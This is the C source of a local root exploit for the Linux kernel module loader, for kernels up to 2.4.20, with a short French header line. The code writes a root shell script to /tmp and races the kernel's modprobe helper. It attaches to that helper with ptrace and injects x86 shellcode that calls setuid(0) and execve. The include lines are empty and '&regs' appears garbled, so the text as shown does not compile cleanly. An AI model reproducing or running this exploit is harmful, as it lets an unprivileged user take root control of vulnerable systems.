* Version TXT Disponible ici *

/***********************************************
*                                                
*       Linux Kernel Module Loader Local R00t Exploit    
*                     Up to 2.4.20                      
*               By anonymous KuRaK                      
*                                               
************************************************

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 



#define TMPSIZE 4096
#define FMAX 768
#define UIDNUM 6
#define MMSIZE (4096*1)
#define MAXSTACK 0xc0000000

//      where to put the root script
#define SHELL "/tmp/w00w00w"

//      what to open to run modprobe
#define ENTRY "/dev/dsp3"


struct uids {
    unsigned uid;
    unsigned euid;
    unsigned suid;
    unsigned fsuid;
};


//      thanks to the epcs2.c code :-))
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\
xdb\xb0\x17\xcd\x80"       /* setuid(0) */
    "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"   
/* execve(SHELL) */
    "\x90\x90\x90\x89\xe1\x8d\x54\x24"        /* lets be tricky */
    "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
    "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00";


//      payload...
char *shellcmd = "#!/bin/sh\nid|wall\necho \"Your kernel is buggy\"|wall";


volatile int sig = 0;
volatile struct user_regs_struct regs;


void sighnd(int v)
{
    sig++;
}


void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
        fprintf(stderr, "FATAL ERROR: %s\n", msg);
    } else {
        perror(msg);
    }
    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


void exploit(int pid)
{
    int i;

    if (ptrace(PTRACE_GETREGS, pid, 0, ®s))
        fatal("ptrace: PTRACE_GETREGS");
    for (i = 0; i <= sizeof(shellcode); i += 4) {
        if (ptrace
            (PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i)))
            fatal("ptrace: PTRACE_POKETEXT");
    }
    if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
        fatal("ptrace: PTRACE_SETREGS");
    ptrace(PTRACE_DETACH, pid, 0, 0);
    kill(pid, SIGCONT);
}


int get_ids(FILE * fp, struct uids *uids)
{
    int i;
    char tmp[TMPSIZE];


    fseek(fp, 0, SEEK_SET);
    for (i = 0; i < UIDNUM; i++)
        fgets(tmp, sizeof(tmp), fp);
    return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid,
                  &uids->suid, &uids->fsuid);
}


int main(int ac, char **av)
{
    int fd, pid, p, i;
    char buf[TMPSIZE];
    struct uids uids;
    FILE *fp;


    setpgrp();
    setsid();
    umask(022);
    unlink(SHELL);
    fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
    fp = fdopen(fd, "w+");
    fprintf(fp, "%s\n", shellcmd);
    fclose(fp);

    pid = getpid() + 2;
    snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
    printf("\nModprobe pid %d, my pid %d", pid, getpid());
    fflush(stdout);
    signal(SIGUSR1, sighnd);

//      fork modprobe helper
    if (!(p = fork())) {
//      some nice work for exec_usermodehelper(), keep it busy!
        for (i = 0; i < FMAX; i++) {
            fd = open("/dev/zero", O_RDWR);
            mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
        }
        kill(getppid(), SIGUSR1);
        while (!sig);
        printf("\nHelper (pid %d) requesting module...", getpid());
        fflush(stdout);
        fd = open(ENTRY, O_RDONLY | O_NONBLOCK);
        exit(0);
    }
//      synchronize with the child
    else {
        while (!sig);
        kill(p, SIGUSR1);

//      wait for modprobe to run at unprivileged level
        while (1) {
            fd = open(buf, O_RDONLY);
            if (fd > 0) {
                if (!(fp = fdopen(fd, "r")))
                    fatal("fdopen");
                if (get_ids(fp, &uids) != 4
                    || (uids.uid != uids.euid || uids.uid != uids.suid
                        || uids.uid != uids.fsuid)) {
                    fatal("did not catch modprobe...try again later :-)");
                }
//      ok, it runs...
                while (1) {
                    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
                        fatal("PTRACE_ATTACH failed!");
                    } else {
                        i = 0;
                        printf("\nAttached afterburner...\n");
                        fflush(stdout);
                        while (ptrace(PTRACE_GETREGS, pid, 0, ®s)
                               || !regs.eip || regs.eip >= MAXSTACK) {
                            ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                            printf("\rplease wait %d", i++);
                            fflush(stdout);
                        }
                        waitpid(pid, NULL, WUNTRACED);
                        printf
                            ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",
                             regs.eip);
                        fflush(stdout);
                        exploit(pid);
                        exit(0);
                    }
                }
                fclose(fp);
            }
        }
    }

    return 0;
}